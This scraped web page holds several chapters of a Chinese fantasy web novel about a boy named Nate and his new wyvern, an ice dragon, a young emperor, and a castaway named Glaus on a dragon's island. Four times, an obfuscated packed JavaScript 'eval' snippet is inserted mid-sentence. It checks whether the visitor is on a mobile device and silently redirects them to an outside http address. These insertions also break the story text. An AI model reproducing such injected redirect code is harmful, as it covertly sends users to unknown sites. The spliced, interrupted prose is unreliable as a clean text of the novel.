翼龙山谷,在亚斯提都更北边,夹在达克斯山脉之间的一条罅隙,离首都有上百里,如果乘马车前行,要至少坐三天。谷口只有数十米宽,两侧是高耸入云的山崖,向里纵深则是上百米,谷口还有一些光透进来,越往里就越暗了。山谷口被一层看不见的屏障封闭着,但是海森堡走到它面前,眼前的谷口便浮现出层层旋转的螺旋花纹,随后如盛放般向两侧绽开了。 海森堡带着内特走进山谷中。内特有些紧张,从山谷内传来阵阵腥气的热风,又是一片黑暗,让他的纹章几乎发挥不出什么效果。海森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502519|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堡看出了他的害怕,走的稍微慢了一些。他的左手亮起一簇明亮的电花,环绕着内特,让这片黑暗的缝隙也被照的亮如白昼。 “现在能看清了?”海森堡问。 “是的!谢谢、谢谢老师。”内特好奇地四下张望,他上次来山谷,还是很小的时候跟在父亲身后,那时也只是在山谷谷口观望,从没走进去。 两侧的山崖向内侧延申,这条小路弯曲绵延,竟有上百米。但是越往前,热气就越来越强烈,随后面前豁然开朗,竟是一个巨大的天然温室。两人站在一处颇为陡峭的山坡上,面前是一眼望不到边的盆地,藤蔓巨榕交织连天,泉水从山崖的缝隙中涌出,冲进向下的一个深潭里。 听到动静,一个巨大的黑色影子扑扇着双翼从天而降,海森堡后退几步,只见是一条体长接近三十米的翼龙之王,比科尔那条青色的翼龙还大了接近一倍。它披着灰黑色的鳞片,翼展完全展开,甚至到了五十米。翼龙依靠两条强壮的后腿支撑着,此外双翼的关节处有退化的爪子,不同于龙族,翼龙有三四条如触须般的、粗壮有力的尾巴。它原本扒在山崖的阴影处休憩,看见海森堡进来,便腾空而起,落地时,几乎让土地震颤起来。 “霍顿,还好吗?”海森堡抚了抚翼龙覆着鳞片的头颅,它的头上有一对灰色的长角,此外,同它的主人海森堡相似,霍顿也是浅色的眼睛。 霍顿咕噜噜地叫了几声,翼龙的颈部都同蛇般修长,内特在心中把它和涅西丝悄悄对比了一下,翼龙的体型比涅西丝大了好几倍。显然,虽然是亚龙,但是翼龙已经拥有完全和龙族不同的体型。 “翼龙保留了飞行的能力,它们的鳞片可以防御一定程度上的火和电,因为很久以前,大多数龙族都是火与雷纹章的持有者。”海森堡边抚摸霍顿的颈部边说,“被驯化的翼龙对主人忠心耿耿。但是在刻意的培养下,所有的翼龙都不具备生殖能力。只有在收到指示时,圣山教堂的人才会提前三个月把翼龙卵孵化出来,再把小龙送进翼龙巢培养。” 海森堡抬起头,“霍顿是我在二十年前就任大将军时得到的礼物。” 海森堡翻身踩上霍顿的后背,抓着它的龙角,吹了声口哨。霍顿便长啸一声,振翅飞起,霎时间,尘土飞扬,转瞬便飞去上百米。 内特看得心潮澎湃,等海森堡骑着翼龙在山谷中盘旋了几圈,缓缓落地后,便兴奋地凑过去。 “我呢,老师,我也能有自己的翼龙吗?” “你很想要?” 内特拼命地点头。 海森堡面无表情,他观察了内特一会,等他看起来焦急的不行,才笑了一下,往霍顿的身后指了指。“算是我送你的礼物吧,作为我的学生,得到冠军,你也挺努力的了。” 内特立刻顺着海森堡的方向看去。只听几声细软的咕咕声,一个橘黄色的影子从霍顿背后探出头来。 她体长仅有七八米,高两米,双翼是颇为鲜艳的橘红色鳞片,有两条尾翼,额头是光洁的椭圆形,下面是明亮的绿色眼睛。此刻,她正在好奇地打量着内特。 “因为时间和成本,我们没法确定每一条翼龙的品质,就算她有什么不足,你也是她唯一的主人。”海森堡说,“我们在卵里加入了你的血液,这样她只会忠实于你一个。此外,她有一部分霍顿的基因,所以未来说不定能长到三十米。……内特,你有在听吗?” “什么?没事!我好喜欢!老师,谢谢你!”内特已经兴奋地冲过去,忍不住想抱住翼龙,翼龙吓了一跳,发出不安地叫声。 内特伸出手,等翼龙熟悉了他手掌的气味,再抚上翼龙的额头。她的皮肤凉凉的,触感光滑,或许是因为还在生长期,她的鳞片并没有霍顿那般坚硬。 “她现在六个月,正是熟悉你的时候。你可以给她起个名字,她会记住的。”海森堡说。 “我来起吗?你想要名字吗?”内特托着翼龙的下巴,她正歪着头,绿色的眼睛好奇地看着内特。一种细软的感觉在内特的心中滋生着,让他感觉轻飘飘的。 “安吉尔,”内特说,“叫你安吉尔好不好?” 31. 31-夜之帷幕 安吉尔扇动橘红色的双翼,兴奋的鸣叫几声,目光灼灼地看着内特。海森堡问: “你会骑翼龙吗?你看见过他们的操作吧?” 内特疑惑地回答:”当然不会啊。最近一次也是在竞技场看到翼龙群们,作为经验来说也太少了吧?” 海森堡思考了一下,耸了耸肩。 “驾驶翼龙并不复杂。她流着你的血液,所以本质是意志的延伸。”他吹了声口哨,跳到霍顿的背上。 “我还有事,如果你还不明白的话,用空间纹章转移也行。不过,你是你父亲的儿子,所以肯定没问题。” “等一下,等一下啊!老师,至少告诉我一个起飞的命令——” 海森堡没有回答。 他侧过身,托起内特的下巴,居高临下的端详了一会,突然微笑了一下。 “你该多笑笑,内特,这个表情更适合你。” 言毕,海森堡拍了拍霍顿,黑色的翼龙之王腾空而起,其声如雷,狂风呼啸,一眨眼的功夫,已飞上青空。 内特红着脸站了一会,试图捋清思路。要不要先去圣山学院查一下翼龙的信息?或者找一下科尔,他肯定会告诉我飞行的注意事项吧? 你是你父亲的儿子,那你肯定没问题。 不,就是因为是父亲的儿子,所以如果不像他的话,不如一开始根本不要做比较好吧? 见内特迟迟没有起飞的意思,安吉尔有些着急,她咕咕地急促叫着,突然振翅飞起来,结果用力太猛,一下子撞到附近的山崖,砰的一声,然后晕头转向地摔了下来。 “安吉尔!”内特赶忙跑过去,他的翼龙还在地上挣扎着站起来,几片橘色的鳞片掉在地上。 “没事,不是你的错。安吉尔。”内特抚摸着翼龙额头的鳞片,她才六个月,身上的鳞片还没有完全变硬。或许是日光的原因,她的皮肤摸起来热热的。 内特深吸一口气,踩着翼龙的大腿,爬上她的后背。刚抓住她的脖子,安吉尔就一下子站起身来。骤然离地一米多高,内特也吓了一跳。 “哇!哇呜……慢点,怎么样,安吉尔?” 安吉尔撑开双翼,那对橘红色的翅膀就像一对张开的伞。内特俯视的角度看去,他的翼龙全身线条流畅,骨骼处如黑线勾勒,背上有漂亮的三角形花纹。内特还在欣赏安吉尔靓丽的曲线,就感觉全身的超重感骤然加强,安吉尔起飞的速度极快,那一瞬间的加速度几乎让内特失去了意识—— 上升的速度已经超过了目视极限,内特的眼前只是大片大片的模糊色块,绿色、黑色,然后是一望无际的白。呼啸的风从他的耳廓划过,眼睛都睁不开,双脚悬着,内特只能紧紧搂着安吉尔的脖子,才不至于让自己在升空中被甩出去。他还抱着她吗?还是只是已经被扔到半空了?他根本没有坐在龙背上的实感啊?! 内特从牙缝里惨叫到:“别别别安吉尔慢慢慢————” 突然,压在身上的冲力骤然一轻,内特仍稳稳地趴在安吉尔背上,搂着她的长颈,而安吉尔已经开始在空中平稳的飞翔。她双翼偶尔摆动几下以保持平衡,听到主人的声音,她回过头,探究的叫了几声。 内特稍微睁开眼睛,发现自己已经身处数百米的高空,低下头一看,脚下的山脉和村落都已变得和蚂蚁一样小,一望无际的绿色原野和森林此起彼伏。他的手抚摸着安吉尔背上的鳞片,突然明白了老师所说的”血液的延伸“的含义。安吉尔的鳞片温暖、皮下的肌肉跳动着,同自己的心跳一样,他骑在安吉尔的背上,却彷佛翼龙的翅翼是自己四肢的延伸,他与他的翼龙同频呼吸,他只需动动手指,安吉尔就能顺着他心意的向相应的方向飞翔。 或许是感觉到了内特的紧张,安吉尔放缓了飞行速度,让内特可以保持平衡,甚至能坐起身来。身处高空,内特看见云彩从自己身边飘过,风也变得柔和。他能看见群鸟在自己的下方飞翔,第一次,麻雀的背上原来是黑色;他举目远望,卡克奇克大陆的地平线一望无际,正是夕阳落山,金山日照的时刻,内特能看见金色的光镀在西方的达克斯山脉上,山脊盘亘起伏,雄伟浑厚,如巨人张开双手;北方,隐约能看到极北的雪山,雪线如瑕;往东,是无尽的茫茫雾气,其下是山丘、田野和错落其间的村落。每隔数十里,就会有一个人类的城邦。如果一直往东飞,就可以到达大海。内特搭在安吉尔背鳍上的手轻微收紧了,格劳斯就在那里吗?那家伙,也不知道现在怎么样了? 内特乘着安吉尔在天上飞了好几圈,直到天彻底黑下来,繁星点缀,皎月当空,才算尽兴。脚下的城市越发繁华,河水波光粼粼,终于到达了亚斯提都。穿过云层,内特可以看到水晶皇宫那颗闪烁的,如万花镜般的球形穹顶。安吉尔很聪明,内特和她磨合的越发熟练。 内特正准备让安吉尔带自己飞往梅菲杰拉德庄园,突然感觉周身的温度降低了几度,一个白色的身影从水晶皇宫的塔楼背后飞出来。 “内特!”眨眼之间,涅西丝飞了过来,小白龙全身鳞片如水晶剔透,冰蓝色的龙角弧如弯月。四爪修长,双翼拍打,一条长尾在身后摆动。 她蓝色的眼睛看了看安吉尔,戏谑地问:“你有翼龙啦?” “涅西丝!你怎么突然——?”内特问,“是的,这是安吉尔。我的老师送我的。” 白龙喉咙中发出咯咯几声笑,她振翅的速度骤然加快几分,飞的快了内特半个身位。 “来找你呀。你拿了第一,值得和我比一场。——来嘛来嘛!看看谁速度更快?” 内特正在犹豫,安吉尔却被激起了斗志,她立刻扇动翅膀,翼龙加速的瞬间几乎让内特抓不住她。安吉尔飞了几个小时,体力明明损耗不少,此刻进入战斗状态,却依然不落下风。涅西丝长啸几声,吐出团团冰晶白雾,隐入其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502520|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。内特看不见她的位置,安吉尔却嗅觉灵敏,丝毫不惧,追着涅西丝钻入雾中。 内特虽然看不见涅西丝,但五感敏锐,他突然感觉一阵寒意从身侧传来,刹的一声,透明的空间屏障被震出一圈圈波纹,几支冰棱正从那个角度直直插过来,若不是内特的空间屏障,刚才已经被涅西丝射个对穿。 ”涅西丝!“内特高声叫道,”你在干什么?你会伤到安吉尔的!“ 涅西丝忽高忽低的声音从不远处传来,”只是玩耍而已嘛,没事的!“ 她话音未落,内特面前骤然炸开一大朵冰花,就像一个一米多高的冰晶圆球,只是其中遍布着如雪花般锋锐的薄片,安吉尔躲闪不及,一把将其撞个粉碎,哗啦啦一声,冰霜在空间屏障下如刀片炸开,内特顾不上自己有没有流血,连忙抓住安吉尔的龙角,想查看她身上有没有受伤。 安吉尔发出一声颤动、尖锐的高鸣,听得内特心中一阵阵悸动,她绿色的眼睛不知何时覆上了一层黑色的虹膜。翼龙凶性大发,向下方扑去,内特感觉全身一阵强烈的失重,而翼龙双爪前伸,如巨鹰扑食近在眼前的白龙。白龙缩起翅膀,灵巧地躲开,安吉尔的爪子只抓下了她的几片龙鳞。涅西丝回过头,吐出一口白色的低温冻气,安吉尔迎头赶上,任由身上的鳞片被冰霜覆盖,仍紧紧追着涅西丝不放,她身后的两条细长的尾翼如触手般伸过来,尾巴端头各是一尖锐的骨刺,狠狠地刺了下去。 白龙察觉到危险,她周身的温度急剧下降,浑身霎时被冰柱包裹,铛的一声,安吉尔双尾的骨刺被冰柱挡住。安吉尔不满的扇动翅膀,把双尾从冰中抽出来,要再抓向涅西丝。 而内特在这颠来倒去的空战中实在抓不住安吉尔的背鳍,翼龙的后背本就没什么着力点,内特第一次骑行,更是完全不了解翼龙的战斗方式。这样安吉尔在空中转了几百度后,内特的手越来越滑,最后竟一不留神,从翼龙的背上掉了下去。 内特惨叫一声,全身都在半空中急速下坠,而安吉尔意识到主人坠落,慌忙地要扑救内特,竟也跟着向地上坠去。 我得用空间纹章把自己传走!内特尖叫着想到,但是任由安吉尔下坠,她会撞到地上的。我得把她也—— 就在这电光火石之间,大地已经近在咫尺。 ——来不及了! “停顿。” 一个声音在内特的脑海中响起,他的空间纹章随之亮起,随着这句命令发动,霎那间的生与死便被暂停,内特和安吉尔都硬生生地悬在了空中。 “减速。” 他们的坠落再次生效了,但是这次速度已经慢了许多。砰的一声,内特和安吉尔掉在一大片修建得当的草坪中,大团大团的花草被他摔得花瓣四散,身下的土地白天浇过水,还湿漉漉的。 赖兹瑙·梅菲杰拉德系着暗红色的丝绒睡袍,撑着象牙手杖,红发散着,站在他们面前。 32. 32-翩旋 “我还以为魔族终于打进来了,”赖兹瑙说,“原来是我儿子坠机了。你的空间纹章就是这么用的?把自己的纹章能力交给别人来发动可不是明智的选择,内特。” “对不起,爸爸,幸亏有您……”内特不好意思的站起来,因为飞得太久,还有些晕头转向,只能扶着安吉尔保持平衡。安吉尔抖了抖身上的尘土,站起身,看见赖兹瑙,她立刻挡到内特前面,警觉地嘶嘶叫着。 赖兹瑙歪歪头。 “翼龙?这是谁给你的?” “我的老师,大将军威斯汀·海森堡,爸爸。说是作为我得了冠军的奖励。我可以养她吧?” 赖兹瑙没有说话,他向前踏了一步,不等安吉尔反抗,便一只手摁住她的额头,遮住她的眼睛。 安吉尔的动作僵住了。赖兹瑙摁住她额头的手慢慢向后移,不知摁了哪一块骨头,安吉尔便一声不吭地倒在了地上。 内特感觉浑身血液都冷了。他还未开口,下一秒,安吉尔便眨巴着眼睛,从地上爬了起来,她眼球上黑色的虹膜消失了,重又变回绿色,紧绷的肌肉放松下来,已经从刚才那种如临大敌的发狂状态退了出来。 “这是怎么回事,爸爸?”内特干巴巴的问。 “虹膜可以保护翼龙的眼睛在战斗中免受伤害,但是幼年期的翼龙眼球还很脆弱,贸然将虹膜覆上可能会导致失明。”赖兹瑙说,“至少过一个月后再参与战斗吧。” “这,这样啊,爸爸。我还是第一次知道。”内特探究的问,“您怎么知道这些?” 赖兹瑙没有回答,他走到安吉尔旁边,拨开她的双翼看了看。 “翼展超过六米,鳞片厚八毫米……这种橘红色在翼龙中比较罕见,往往是胚胎色素分化时,光照过度的结果。它的体温会比一般的翼龙更热一些,因此启动速度也会更快。”赖兹瑙又看了一眼安吉尔的双尾,“逆时针的双螺旋花纹?难道它融合了霍顿的基因吗?” “爸爸,您真是无所不知……”内特喃喃道,“还有什么是您不知道的?” 赖兹瑙啼笑皆非的看了他一眼,“好歹我也曾是翼龙军团的首席。你别把我想得太差了。” “怎么会?爸爸是世界上最了不起的人。” 赖兹瑙摆了摆手。 “问题都解决了吧?我是不是可以回去睡觉了?内特,准备之后和科尔前往海港清除海怪。涅西丝也会一起去。” “涅西丝?可是她对我的翼龙很不友好啊,”内特有些委屈的跟在父亲身后,“能不能不要她来?” 赖兹瑙头也不回地说:”如果无法忍受,不如换个思路如何?与其和为难你的队友相处,不如你主动退出团队。“ “对不起,爸爸。我再也不说丧气话了。” “呵呵。我的花坛也被你们撞坏了,再禁足两星期。回去洗头,明天不要让我看见你的银发像鸡窝一样出现。” ·· 窗帷翩旋,寒光凝寂,水晶皇宫的窗外,一个小巧的白色身影落在窗台上。金发的皇帝原本在书房中沉思,看见外面的身影,便打开窗,让她跳进屋里。涅西丝穿一条白色的裙子,赤手赤脚,伸着龙角龙尾,披着冰蓝色的头发,眼睛像剔透的蓝宝石。 她轻巧地走到庞贝身边,坐到地上,侧过头枕着庞贝的腿。 ”在首都过得开心吗,涅西丝?” “很开心啊,”涅西丝说,“今天我遇到了大臣的儿子。他已经有自己的翼龙了,翼龙和我想得完全不一样。说是亚龙,其实完全不是龙族嘛。” “抱歉啊。毕竟是完全按照‘反龙族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502521|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’的理念设计的。本以为翼龙能成为你新的同伴的。” 涅西丝站起身。 “我一个人也完全可以哦?!”涅西丝说,“我不是早就说过吗,与其有同伴,做独一无二的自己更重要!” 庞贝靠进椅子里,颇为无奈地问:“一个人也行吗?到底是你这样,还是所有的龙族都这样?” “别提别的龙族了。它们不是早就死绝了吗?你就当这是我与生俱来的从容吧。”涅西丝撩了一下头发,“怎么样?我的动作,很漂亮吧?” “是,是。没有人比你更漂亮了。” “你的回答很敷衍——” 庞贝没有接话。他的双手扣在一起,目光转向窗外。 “涅西丝,我做的是正确的事情吧?” “你指什么?” “来到亚斯提都。继承皇位。我做的是对的吧。” “当然了。这个位置本来就是你的,不是吗?” 庞贝沉默了一下,用手遮住脸。 “我不是战争天使的纹章啊,”他说,“也从没杀过人。康斯坦丁的那一套,皇帝的那一套……或许,不适合我。” 涅西丝走到他的身边,把手搭在他的身上。“没关系。”她说,“我会是你的纹章,你的力量。” 庞贝笑了一下。 “谢谢你,涅西丝。说起来,你和海森堡将军的力量,谁更强一些呢?” 听到庞贝的话,涅西丝的身体明亮起来。她漂浮在半空中,如镶嵌着万千钻石的龙角晶莹剔透的闪烁着光。冰丝般的花纹蔓延在她的全身。 “我也很想知道啊,”涅西丝说,她双手抚着脸,因为幻想的画面而露出笑容。“我的‘白皇后’。威斯汀·海森堡的‘雷霆暴君’。啊——我迫不及期待那一天了!” 33. 33-黑龙现身 ·???-荒岛-??? 格劳斯后退了一步。他握紧了手里的棍子,思索如果那条黑龙攻击自己,自己能做什么。 大概一下子棍子就会断,然后我被他捅个肚破肠流。格劳斯在心中闷闷地想,为啥我要一股脑往山上跑?当初我看见这栋黑色的古堡时,就该提起一万个警惕下山。 这还是格劳斯第一次见到龙族。龙在两百多年前就因为战败而离开了大部分人的视线,格劳斯偶尔听人谈起过他们,但是因为时间过得太久,人们早就把龙当作普通的谈资,而非值得仇恨的对象。黑龙双翼半展,浑身覆着黑曜石般的鳞片,它的额头有一对长角,面部像蜥蜴,以及血红色的眼睛。 但是已经走到这一步,格劳斯也没有办法了。他看着那条黑龙,试探地问:“喂,听得懂我说话吗?我没有恶意——” 黑龙吐出一口红色的闪电,轰的一声把格劳斯击飞出去。噼啪作响之后,格劳斯狼狈地从地上爬起来,黑龙威胁地嘶嘶叫了几声。它用爪子在城堡门外的沙地上扒拉出一条线来,显然,如果格劳斯再越线一次,下次就不是一个打在脚下的闪电那么简单了。 很好,它已经用行动表明了自己的立场。 格劳斯揉了揉发麻的胳膊,不再试图探索黑堡,而是走向之前看到的密林。现在他又渴又饿,体能很快也要耗尽了。格劳斯撑着那根木棍当拐杖,在林地里深一脚浅一脚地走。他边走边四处打量,试图找一个合适的水源,或者晚上能够避风的地方。很快他砍下来几截藤蔓,把它们富有汁水的茎放在嘴里嚼,味道有些苦涩,但是水分的补充总算让他感觉清醒了一些。可惜密林的树都太细了,大多不过半米粗,不然,晚上在树上睡觉是个不错的选择。 密林里除了小鸟,没有别的动物,或许是海岛的环境所致,这让格劳斯稍微放松了一些。他又走了几个小时,直到腿脚发麻,终于走到密林与小山的交界处,潺潺的流水从树的根茎下流出,慢慢汇成一条小溪。格劳斯捧起溪水喝了几口,竟然是淡水。他听见鸟群在天空中时不时发出的啁啾声,那些叫声他都从未听过。 溪水里也有非常小的青蛙,巴掌大的小鱼。格劳斯想了想,拿着石块在水里摆了一个小堤坝,把水流稍微截断了一些。他观察了一会,然后猛地把手探下去,很快,他拢成拳的手从凉得过分的溪水中收回来——一条银黑色的小鱼在他手里扑腾着。在他老家的时候,有时候没有饭吃,他就跑进附近的山里,像这样在河里捞鱼。 格劳斯又这样捞了三四条小鱼,用草叶包起来。他沿着山脚走了一会,找到一个洞穴,除了苔藓之外,洞里十分凉爽。格劳斯在洞了探了一圈,洞深不过十米就到头了。他找了个稍微干燥的位置,刚一坐下,格劳斯就感觉自己累的几乎再也站不起来了,彷佛浑身每一块骨头,每一条肌肉都在酸痛地大叫。 在这个位置看不见黑堡了,一小片天空从树梢中探出来,闪烁着陌生的星星。格劳斯把先前捞的小鱼递到嘴边,它们闻起来很腥,滑溜溜的,格劳斯强迫自己吞了进去。鱼肉滑进肚子里,那感觉很糟,但是格劳斯也没有办法。 明天我一定会生火的。格劳斯在心中默默说,然后要把小岛的另一面也看一遍。这里究竟是在哪里?在里加湾得更南还是更东?船长他们都怎么样了?—— 在格劳斯来得及想下一个问题之前,他就睡着了。 ·· 第二天天还未亮,格劳斯就醒了过来,准确的说,是被冻醒的。虽然夏季的气温已经高了起来,但是在海岛上的清晨还是太冷了。湿气在他身上结成露珠,寒气从石洞的四面八方透出来。格劳斯被冻得小腿痉挛,他抱着自己抖个不停的小腿肌肉揉了好一会,才算让肌肉暖合起来,让那要命的疼痛减弱下去。 这样之后,他也基本上睡意全无,索性从山洞中钻了出来。清晨的小岛弥漫在苍白的雾气之中,突然让格劳斯想起自己每次使用恶魔纹章时,弥漫在精神世界中的白雾。格劳斯绕着小山的另一侧走到海边,海水正在涨潮,海浪一波一波的拍打在白色的沙滩上。从这个角度可以更清晰的看见黑堡,格劳斯能够看见它大理石的砖石在山顶上闪烁着光,即使残破风化,也依然庄严宏伟。城堡廊桥勾连,阁楼林立,宛如巨人站在山顶上眺望远方。 一个黑色的影子在城堡的屋顶上盘旋,又是那条黑龙,格劳斯看见它落在城堡主楼突出的露台上,那里曾经有一个雕花板的围栏,但是现在花窗破碎,只剩露台光秃秃的露在外面。黑龙收敛四肢双翼,长尾垂在露台之外,昂首远眺,好像在等着什么。 格劳斯把目光从黑堡收回来,他看着涨潮的海水,直觉如果自己提前挖一个可以蓄水的坑,之后一段时间吃饭应该不用愁了。说做就做,格劳斯很快找到一片靠近沙滩的礁石区,这里几十分钟后,就会被海水淹没。格劳斯找了更多石块,把礁石区围得更高、更稳固,等海水拍过来时,有一些海水就被留在了这个人工的小池子里。 随后,格劳斯离开沙滩,重新开始他的环岛绕行之旅。 他沿着密林又走了四五个小时,这一次,他特别注意林子里有没有可以使用的果实,很快他摘了一些青色的果子,又凭借气味,挖了一些野菜出来。等到太阳升到最高处,格劳斯终于走到了昨天被海水冲上来的地方,那里今天也空空如也,格劳斯曾寄希望会有同样搁浅的船被冲过来,或者一些海怪的碎片。 克拉肯在把自己卷走后,自己因为和其对视而很快失去了意识。如果克拉肯就此死了就好了。想到克拉肯,格劳斯突然感觉脑海里一阵寒冷粘腻的感觉,眼前的世界也变得发白,彷佛一只触手在自己的脑子里搅动了一下。格劳斯感觉浑身鸡皮疙瘩骤起,但是那感觉转瞬即逝,视野也重新变得正常。 他回到自己先前挖的小水坝,现在潮水已经褪去,现在那里已经变成一个小水塘。格劳斯凑过去,满意的看见几条海鱼和贝壳被冲进了这个塘子,正在随着水落下去而在里面扑腾着。 这几条海鱼可比溪水里的小鱼大多了。格劳斯满意地想。 他把这几条鱼提溜着拉出来,在石头上砸了几下,很快鱼就没气了。 格劳斯也饿了,他索性在林子旁边找了个干燥的阴凉处,生起火来。他把鱼放到一块平整的大石头上,把它的鳞尽可能地刮掉。随后,格劳斯又抹上一些盐,裹上野菜。 如果还能变成狮子就好了,格劳斯想,那个状态我可不计较自己能吃什么,生的反而比熟的更对胃口。 在处理鱼肉的时候,格劳斯听见头顶上传来龙的长啸声,那条黑龙振翅飞往海边,格劳斯可以看见它迅速的钻进海里,过了一会又冒出来,嘴里已经多了好几条正在挣扎的大鱼。 它倒是个捕猎地好手。格劳斯心想。 他扣干净鱼的内脏,拿木棍穿过鱼肉,然后架在火上烤。木柴在火舌中传来噼里啪啦地声音,格劳斯默默地看着鱼皮在火焰中慢慢变焦,鱼肉泛出金白色,香气也渐渐飘了出来。格劳斯肚子不争气地发出咕咕叫声,他有些迫不及待地把烤好的鱼肉从火上取下来,不顾木棍被烤的烫手,就一口咬了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502522|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。鱼肉酥脆,咬下去的时候汁水四溢,喀嗞作响。 其实没有调料,海鱼就算肉再肥美,只有野菜,味道又能好到哪去呢?只是格劳斯连续几天一直肚中饥饿,第一次吃到熟的食物,并且是自己动手获得的,强烈的满足感冲击着他。 我真是厨神……!格劳斯在心中膨胀的想,一个人流落到岛上也能做得这么好! 一条海鱼很快被吃的见骨,格劳斯咂咂嘴,还剩下三条。虽然他还没有完全吃饱,格劳斯已经决定把剩下的三条鱼处理好存起来,作为晚上、明天甚至后天的食物。现在自己是趁着夏季,海鱼肥沃丰硕,才能在涨潮时捞到一些吃的,但是倘若自己要在这个岛上停留比较长的时间,食物的来源就得慎重的考虑了。 提到离开,格劳斯也有些黯然神伤,他吃饭的时候,视线一直望着对面的海平面,可是海上风平浪静,一丁点渔船的影子都看不到。格劳斯曾寄希望路过的货船接上自己,可现在看来,自己真的是被冲到了一个人类不曾踏足的无人区。倘若真是这样,或许为了离开小岛,自己得造一个筏子也说不定。 造筏子……饶了我吧……格劳斯想,且不说它结不结实,如果在海上漂个几十天都遇不到人,那我真是不如死了好了。哎,当初真不该选海路。要是内特知道这里,他一下子就能把我接回去。 接下来的几天,格劳斯如法炮制,捞到更多的鱼,处理好,晒干,挂到自己住的山洞里。他还在溪水的支流处挖了一个小水池,把更多吃不掉的鱼扔了进去,这些鱼也能在水里活几天。而自己吃的时候,只需要把水放掉,就能捞到。每天他清晨他去捞鱼的时候,那条黑龙也在海里捕鱼,这样过了七八天,一人一龙倒是相安无事。 格劳斯时常会想,若是自己能骑上这条龙,让他载着自己回到大陆去——但是,它独自在这座岛上活了不知多久,若是想要离开,恐怕早就飞走了,哪里等得到自己?但是,这终究是个可能的法子,格劳斯不气馁地想。 又是一天,格劳斯正准备离开山洞,突然听见几声低沉的雷声。他抬起头,只见天上乌云密布,云层厚重,空气中几乎湿得要滴出水来。格劳斯正思索着下雨可能会带来什么问题,豆大的雨点就噼里啪啦的落了下来。 雨下起来就下个不停,铺天盖地,彷佛海水从天空倒灌。格劳斯呆在山洞里,他挪了好几块大石头挡在洞口,减少湿气飘进来。他可以听见雨水拍打在岩石上啪嗒啪嗒的声音,像无数脚步声在自己头顶上奔跑。有那么一刻,他以为大雨会把自己的这个小山洞冲垮,然后把自己淹死在泥石流里。可是除了越发湍急的小溪,总是不停歇的雨水,他的洞窟还是平安无事。 这样的天气没法出去捕鱼,不仅自己的衣服会被淋湿,跑到沙滩上也太危险了。而且很多海鱼会因此潜到深水区去,更难被冲到岸上。幸好格劳斯已经提前在山洞里准备了很多干燥的木材,晾着的鱼肉也不少。 不曾料到,一连三天,黑雨都下个不停,山洞里地鱼肉储备也很快见底了。每天一睁眼,世界都是漆黑和雨声,饶是格劳斯,也觉得有些孤独恐惧。于是他生起一团火,把最后的两条鱼架到火上烤着。木柴噼啪作响的声音让他的情绪稍微安定了一些,鱼肉的香气也让这场不知道会下到何时的大雨变得不那么忧惧了。 格劳斯正等着鱼肉烤熟,突然听见山洞外传来一些声响。格劳斯扒开石头往外看,看见是那条黑龙站在雨里,它的鼻翼扇动着,血红色的眼睛盯着自己。黑龙的四爪在地上来回抓挠,喉咙里发出低低的咕咕声。 34. 34-斥雷 显然,因为连续多日的暴雨,黑龙也捞不到食物,现在很饿了。它被格劳斯烤肉的气味吸引过来,但是不知为何,没有选择直接攻击格劳斯,而是在山洞外徘徊着。 格劳斯看见雨水一刻不停地淋在黑龙身上,把它明亮的黑鳞淋得一塌糊涂,因为离得更近了,他意识到黑龙也并没有多大,它身长不过六七米,爪子还满是泥巴。 他想到,自己在这座小岛上能平稳地待这么多天,也多亏了这条黑龙没有攻击自己。无论自己最后能不能离开这座小岛,都是生死难料,吃这几口鱼肉也不在一时半刻了。 想到这里,格劳斯拿起架子上的一只签子,连着上面的鱼一起扔出了洞外,扔到黑龙面前。 吃吧,格劳斯默默地想,要是我因此饿死,或者你吃完后倒打我一耙,就算我自认倒霉。 